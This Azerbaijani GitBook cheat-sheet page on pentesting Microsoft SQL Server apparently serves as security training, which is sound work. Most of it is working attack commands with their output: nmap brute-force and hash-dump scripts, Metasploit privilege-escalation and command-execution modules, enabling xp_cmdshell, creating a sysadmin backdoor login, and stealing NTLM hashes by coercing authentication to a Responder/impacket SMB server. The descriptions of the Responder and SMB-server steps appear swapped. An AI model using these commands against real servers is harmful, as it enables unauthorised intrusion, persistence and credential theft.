Pentest və SOC Cheat Sheet
  • Reconnaissance
  • Post-Explotation
    • Linux Post-Explotation
      • Linux Local Enumeration
      • Linux Privilege Escalation
      • Dumping and cracking hashes on Linux
      • Linux Persistence
    • Windows Post-Explotation
      • Windows Local Enumeration
      • Windows Privilege Escalation
      • Windows Persistence
  • Network Services Pentesting
    • 21-Pentesting FTP
    • 22-Pentesting SSH
    • 23-Pentesting Telnet
    • 53-Pentesting DNS
    • 25,465,587-Pentesting SMTP
    • 110,995-Pentesting POP
    • 139,445-Pentesting SMB
    • 3306-Pentesting MySQL
    • 3389-Pentesting RDP
    • 1433-Pentesting MSSQL-Microsoft SQL Server
    • 389,636,3268,3269-Pentesting LDAP
  • Web Pentesting
    • Broken Access Control
      • Praktiki nümunə
    • OS Command Injection
      • Praktiki nümunə
    • SQL Injection
      • Praktiki nümunə
    • Cross-Site-Scripting (XSS)
      • Praktiki nümunə
    • File Upload
      • Praktiki nümunə
    • Directory Traversal və Path Traversal
      • Praktiki nümunə
    • CSRF
    • XXE
    • Clickjacking
      • Praktiki nümunə
    • SSRF
      • Praktiki nümunə
    • JWT (Json Web Token)
      • Praktiki nümunə
    • Local&Remote File İnclusion
      • Praktiki nümunə
      • Local File inclusion ilə reverse shell almaq
    • 401&403 Bypass
    • Login Bypass
    • Open Redirect
    • Unicode Injection
    • Security Misconfiguration
    • CRLF injection
    • LDAP Injection
    • Cookies Hacking
    • Cross site WebSocket hijacking (CSWSH)
    • SSTI (Server Side Template Injection)
    • CSTI (Client Side Template Injection)
    • XSLT Server Side Injection (Extensible Stylesheet Languaje Transformations)
    • Registration & Takeover Vulnerabilities
    • Regular expression Denial of Service - ReDoS
    • Reset/Forgotten Password Bypass
    • SAML Hücumları
    • Reverse Tab Nabbing
    • Web Tool - WFuzz
    • XPATH enjeksiyonu
    • Server-Side Includes (SSI) Injection
    • Edge Side Inclusion Injection (ESII)
    • Race Condition
    • PostMessage
    • Parameter Pollution
    • Cache Poisoning and Cache Deception
    • Captcha Bypass
  • AD Pentesting
    • Domain Enumeration
      • PowerView ilə enumeration
      • AD Module ilə enumeration
      • BloodHound ilə enumeration
        • On Site BloodHound
      • Using Adalanche
        • Remote adalanche
      • Useful Enumeration Tools
    • Local Privilege Escalation
      • Useful Local Priv Esc Tools
      • UAC Bypass
    • Lateral Movement
      • Powershell Remoting
      • Mimikatz
      • Remote Desktop Protocol
      • URL File Attacks
      • Useful Tools
    • Domain Privilege Escalation
      • Kerberoast
      • ASREPRoast
      • Password Spray Attack
      • Force Set SPN
      • Abusing Shadow Copies
      • List and Decrypt Stored Credentials using Mimikatz
      • Unconstrained Delegation
      • Constrained Delegation
      • Resource Based Constrained Delegation
      • DNSAdmins Abuse
      • Abusing Active Directory-Integraded DNS (ADIDNS) poisoning
      • Abusing Backup Operators Group
      • SID History Abuse
      • Active Directory Certificate Services
    • Domain Persistence
      • Golden Ticket Attack
      • Silver Ticket Attack
      • Skeleton Key Attack
      • DSRM Abuse
      • DCsync Attack
    • Cross Forest Attacks
      • Trust Tickets
      • Abuse MSSQL Servers
      • Breaking Forest Trusts
  • SOC - Cheat Sheet
    • SOC Nədir?
    • SOC Komponentləri Nələrdir?
    • SOC Checklist
    • SIEM
      • Splunk Qurulması və Konfiqurasiyası
    • IDS/IPS
    • Firewall
    • Firewall qurulması və konfiqurasiyası
    • EDR/XDR
    • SOAR
    • Windows Commands for SOC analysts
      • GUI Programs in Windows
      • Event Viewer
      • Task Scheduler
      • Group Policy Editor
      • Device Manager
      • Task Manager
      • Registry Manager
    • Linux Commands for SOC analysts
    • LOLBAS Apps and Commands
      • Apps and Commands
Powered by GitBook
On this page
  • Səlahiyyətlərin yüksəldilməsi:
  • Əmr icrası
  • Giriş
  • Komandalar
  • Windows Command Shell’in aktivləşdirilməsi
  • NTLM Hash’in əldə edilməsi

Was this helpful?

  1. Network Services Pentesting

1433-Pentesting MSSQL-Microsoft SQL Server

Microsoft SQL Server (MSSQL) Microsoft tərəfindən hazırlanmış bir RDBMS’dir, hansı ki, məlumatları səmərəli şəkildə saxlamaq, çəkmək və idarə etmək üçün nəzərdə tutulmuşdur. MSSQL default olaraq 1433 portu üzərində çalışır.

Müəyyən IP ünvanında MSSQL Server nümunələri haqqında məlumat toplamaq, potensial zəiflikləri yoxlamaq və server konfiqurasiyası ilə bağlı məlumat əldə etmək üçün NSE(Nmap Scripting Engine) skriptləri ilə çalışan Nmap əmri:

nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <target-ip>
  • --script’dən istifadə edərək skan zamanı icra olunacaq NSE skiptlərini qeyd edirik.

  • ms-sql-info : MSSQL serveri haqqında məlumat toplayır.

  • ms-sql-empty-password : 'sa' istifadəçisinin parol olmadan aktiv olub olmadığını yoxlayır.

  • ms-sql-xp-cmdshell : Serverdə XP_CMDShell funksiyasını aktivləşdirməyə çalışır.

  • ms-sql-config : MSSQL serverdən konfiqurasiya məlumatlarını çıxarır.

  • ms-sql-ntlm-info : NTLM autentifikasiyası vasitəsilə məlumatı çıxarır.

  • ms-sql-tables : Server databazasından cədvəllərin siyahısını çıxarır.

  • ms-sql-hasdbaccess : İstifadəçinin databazaya girişinin olub-olmadığını yolayır.

  • ms-sql-dac : Serverdə Xüsusi İdarəetmə Bağlantısının (DAC) mövcudluğunu yoxlayır.

  • ms-sql-dump-hashes : Serverdən parol hashlərini əldə etməyə cəhd edir.

  • --script-args’dən istifadə edərək bəzi skrtiplər üçün lazım olan məlumatları daxil edirik.

  • mssql.instance-port=1433 : MSSQL Server portunu göstərir.

  • mssql.username=sa : Autentifikasiya üçün username (bu nümunədə 'sa') weyd olunur.

  • mssql.password= : Boş parolu göstərir (faktiki parol ilə əvəz edilməlidir).

  • mssql.instance-name=MSSQLSERVER : MSSQL Server nümunəsinin adını qeyd edir.

Nmap MSSQL brute force:

nmap -p 1433 --script ms-sql-brute --script-args userdb=/path-to-the-user-list ,passdb=/path-to-the-pass-list  <target-ip>

Bu əmr, “ms-sql-brute” NSE skriptindən istifadə edərək qeyd edilən username və parol siyahıları ilə MSSQL serverinə brute force hücumu həyata keçirir.

MSSQL-dən sysusers çıxarmaq üçün Nmap skripti:

nmap -p 1433 --script ms-sql-query --script-args mssql.username=<username>,mssql.password=<password>,ms-sql-query.query="SELECT * FROM master..syslogins" <target-ip>

Bu Nmap əmri istifadəçi adı və paroldan istifadə edərək qeyd edilən IP ünvanında MSSQL xidmətinə qoşulmağa çalışır. Sonra o, “master” databazasındakı girişlər haqqında məlumatı əldə etmək üçün MSSQL serverinə qarşı “SELECT * FROM master..syslogins” sorğusunu icra edir.

Msfconsole ilə MSSQL enum:

msfconsole
use auxiliary/scanner/mssql/mssql_enum
set RHOSTS <target-ip>
run

“auxiliary/scanner/mssql/mssql_enum” Microsoft SQL Server’dən məlumat çıxarmaq üçün bir metasploit moduludur. Bu modul, verilənlər bazası adları, server versiyası məlumatı və digər konfiqurasiya təfərrüatları kimi məlumatlar verir.

Səlahiyyətlərin yüksəldilməsi:

msf> use exploit/windows/mssql/mssql_linkcrawler

msf> use admin/mssql/mssql_escalate_execute_as

msf> use admin/mssql/mssql_escalate_dbowner

Bu modullar üçün USERNAME,PASSWORD və RHOSTS təyin edilməlidir.

“admin/mssql/mssql_escalate_execute_as” : Verilənlər bazası idarəetmə sistemləri kontekstində təqlid bir istifadəçinin digər istifadəçinin şəxsiyyətini və icazələrini müvəqqəti olaraq qəbul etməsidir. Əgər istifadəçinin "IMPERSONTAION privilege" varsa, bu o deməkdir ki, o, başqa istifadəçini təqlid edə bilər.BU modulun məqsədi də həmin səlahiyyəti sui istifadə etməkdir.

“admin/mssql/mssql_escalate_dbowner” : db_owner rolu "verilənlər bazası sahibi" deməkdir. Bu rolun üzvləri xüsusi verilənlər bazası daxilində ən yüksək icazələrə malikdir. sysadmin rolu isə "sistem administratoru" deməkdir və bu rolun üzvləri server səviyyəsində ən yüksək icazələrə malikdirlər.Bu metasploit modulunun məqsədi səlahiyyətlərin db_owner’dən syadmin’ə yüksəldilməsidir.

Əmr icrası

Aşağıdakı metasploit modulu xp_cmdshell (defolt) və ya sp_oacreate proseduru vasitəsilə MSSQL/MSDE nümunəsində Windows əmri yerinə yetirir. Bu moduldan istifadə etmək üçün istifadəçi adı və parol tələb olunur. Əmr uğurla icra edildikdə çıxışı qaytarılır. xp_cmdshell uğursuz olarsa, onun əvəzinə modul, sp_oacreate texnikasından istifadəni yoxlayır.

msf > use use use admin/mssql/mssql_exec
msf auxiliary(mssql_exec) > set USERNAME yusif
USERNAME => yusif
msf auxiliary(mssql_exec) > set PASSWORD kazimli
PASSWORD => kazimli
msf auxiliary(mssql_exec) > set TECHNIQUE sp_oacreate
TECHNIQUE => sp_oacreate
msf auxiliary(mssql_exec) > set RHOST 192.168.1.19
RHOST => 192.168.1.19
msf auxiliary(mssql_exec) > set CMD cmd.exe /c echo OWNED > C:\\owned.txt
CMD => cmd.exe /c echo OWNED > C:\\owned.txt
msf auxiliary(mssql_exec) > run

[*] 192.168.1.19:1433 - Enabling advanced options and ole automation procedures.
[*] 192.168.1.19:1433 - Executing command using sp_oacreate. No output will be displayed.
[*] Auxiliary module execution completed
msf auxiliary(mssql_exec_oacreate) >

Yuxarıda göründüyü kimi sp_oacreate texnikası seçildikdə, əmrin çıxışı qaytarılmır.

Bu nümunədə icra olunacaq əmr kimi ‘cmd.exe /c echo OWNED > C:\owned.txt’ təyin edilib, bu əmr yeni fayl (C:\owned.txt) yaradacaq və həmin fayla "OWNED" sözünü yazacaq.

Əmr icrası üçün digər bir modul:

msf > use exploit/windows/mssql/mssql_payload

Bu modul, hədəf sistemə daha mürəkkəb kod parçasının (payload) yüklənməsini və sonra həmin əmrin icrasını həyata keçirir.Digər modul ilə müqayisədə bu, daha mürəkkəb və potensial olaraq gizli (stealthy) yanaşmadır.

Giriş

Microsoft SQL Serverinə qoşulmaq üçün sqsh alətinən istifadə edə bilərik:

sqsh -S <target-ip> -U <Username> -P <Password> -D <Database>
  • -S <target-ip>: Qoşulacaq serveri təyin edir.

  • -U <Username>: Qoşulacaq istifadəçini təyin edir.

  • -P <Password>: Göstərilən istifadəçi üçün parolu təyin edir.

  • -D <Database>: Qoşulmaq üçün ilkin verilənlər bazasını təyin edir.

Sqsh üçün digər bir əmr də istifadəçinin “.\\<Username>” qeyd olunduğu əmrdir. Bu format (.\\<Username>) istifadəçi hesabının hədəf maşında yerli istifadəçi(local user) olduğunu göstərir. İkiqat tərs kəsişmə(\\) tək tərs(\) kəsişməni təmsil etmək üçün qaçış ardıcıllığıdır(escape sequence).

sqsh -S <IP> -U .\\\\<Username> -P <Password> -D <Database>

MSSQL’ə qoşulmaq üçün digər alət “impacket”dir.

impacket-mssqlclient -port 1433 DOMAIN/username:password@<target-ip>

Microsoft SQL Serverinə qoşulma zamanı Windows autentifikasiyasından istifadə edilməli olduğunu qeyd etmək üçün -windows-auth:

impacket-mssqlclient -port 1433 DOMAIN/username:password@<target-ip> -windows-auth

Sqsh ilə qoşulduqdan sonra sorğunu göndərmək üçün ondan sonra GO istifadə etməliyik:

1> select @@version;
2> go

Komandalar

# MSSQL versiyasının əldə edilməsi
> SELECT @@version;

# Cari istifadəçi
> SELECT user_name();

# Bütün istifadəçilərin əldə edilməsi
> SELECT * FROM sys.database_principals;

# Databazaların əldə edilməsi
> SELECT * FROM master.dbo.sysdatabases;

# Seçilmiş databzaya keçid
> USE <database>;

# Databzaların listələnməsi
> SELECT * FROM information_schema.tables;

# Cədvəlin mətninin çıxarılması
> SELECT * FROM <database_name>.dbo.<table_name>;

# Cari istifadəçinin OS əmrini yerinə yetirmək icazəsinin olub olmadığınn yoxlanılması
> USE master;
> EXEC sp_helprotect 'xp_cmdshell';

# Əlaqəli serverləri əldə edilməsi
> EXEC sp_linkedservers;
> SELECT * FROM sys.servers;

# sysadmin imtiyazı ilə yeni istifadəçi yaradın
> CREATE LOGIN tester WITH PASSWORD = 'password';
> EXEC sp_addsrvrolemember 'tester', 'sysadmin';

#İstifadəçilərin listələnməsi
select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;

# Directory list
> xp_dirtree '.\\'
> xp_dirtree 'C:\\Users\\'

# Daha məqsədə uyğun nəticə üçün filtrləmə
SELECT 
    name,
    create_date,
    modify_date,
    type_desc AS type,
    authentication_type_desc AS authentication_type,
    sid
FROM 
    sys.database_principals
WHERE 
    type = 'S' -- Sadəcə SQL istifadəçilərini göstərəcək
    AND authentication_type_desc = 'DATABASE' --Yalnız verilənlər bazası autentifikasiyası olanları seçəcək
ORDER BY 
    modify_date DESC; -- Nəticələri əks xronoloji ardıcıllıqla dəyişiklik tarixinə görə sıralanacaq

Windows Command Shell’in aktivləşdirilməsi

İmpacket alətindən istifadə edərək MSSQL’ə bağlandıqdan sonra Windows Shell Komandalarını "enable_xp_cmdshell" ilə icra edə bilərik.

> enable_xp_cmdshell
> disable_xp_cmdshell

və digər üsul:

# Command shell'i aktivləşdirir
> EXEC sp_configure 'xp_cmdshell', 1;
# Command shell üçün təyin olunmuş dəyəri yeniləyir
> RECONFIGURE;

‘xp_cmdshell’ ilə Windows Command Prompt ilə eyni əmrləri icra edə bilərik.

# cari istifadəçinin əldə edilməsi
> xp_cmdshell whoami

# Directory list
> xp_cmdshell dir \\Users
# Gizli faylları görmək üçün
> xp_cmdshell dir /a

# Cari qovluğu görmək üçün
> xp_cmdshell cd

# Faylın məzmununu görmək üçün
> xp_cmdshell type \\Users\\Yusif\\example.txt

NTLM Hash’in əldə edilməsi

NTLM (NT LAN Manager) istifadəçilərə məxfilik, tamlıq və autentifikasiya(CIA) təmin edən Microsoft təhlükəsizlik protokolları dəstidir. NTLM hash Windows əməliyyat sistemində saxlanılan istifadəçi parollarının hash dəyərləridir. Microsoft SQL Server istifadəçilərin autentifikasiyası üçün Keberos-dan istifadə edir, beləliklə biz NTLM hash-i əldə edə bilək. Kerberos identifikasiya mexanizmi kimi biletlərdən istifadə edir. İstifadəçilər Kerberos sisteminə autentifikasiya etdikdə, müxtəlif xidmətlərə daxil olmaq üçün Key Distribuiton Center’in(KDC) təyin etdiyi biletlərdən istifadə edirlər.

1.İlk öncə SMB serverini işə salıram.SMB serveri başlatmaqda məqsədimiz qanuni (legitimate) fayl serverini təqlid etməkdir.

sudo responder -I <interface>

2.İkinci mərhələdə SMB Responderi işə salıram.Responder şəbəkə trafikini tutmaq və təhlil etmək üçün istifadə edilir.

sudo impacket-smbserver share ./ -smb2support

3.Artıq uyğun metasploit modulundan istifadə edərək exploit’i həyata keçirə bilərik.SMBPROXY’nin dəyəri Responder IP təyin edilməlidir. (bu ip terminalda Responder işə salındıqda görünəcək)

msfconsole -q
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer
msf> set rhosts <target_ip>
msf> set username <username>
msf> set password <password>
msf> set use_windows_authent true
msf> set smbproxy <responder_ip>
msf> run

İcra edildikdən sonra SMB serverinin işlədiyi terminalda NTLM hash dəyərləri görünəcək.

Previous3389-Pentesting RDPNext389,636,3268,3269-Pentesting LDAP

Last updated 1 year ago

Was this helpful?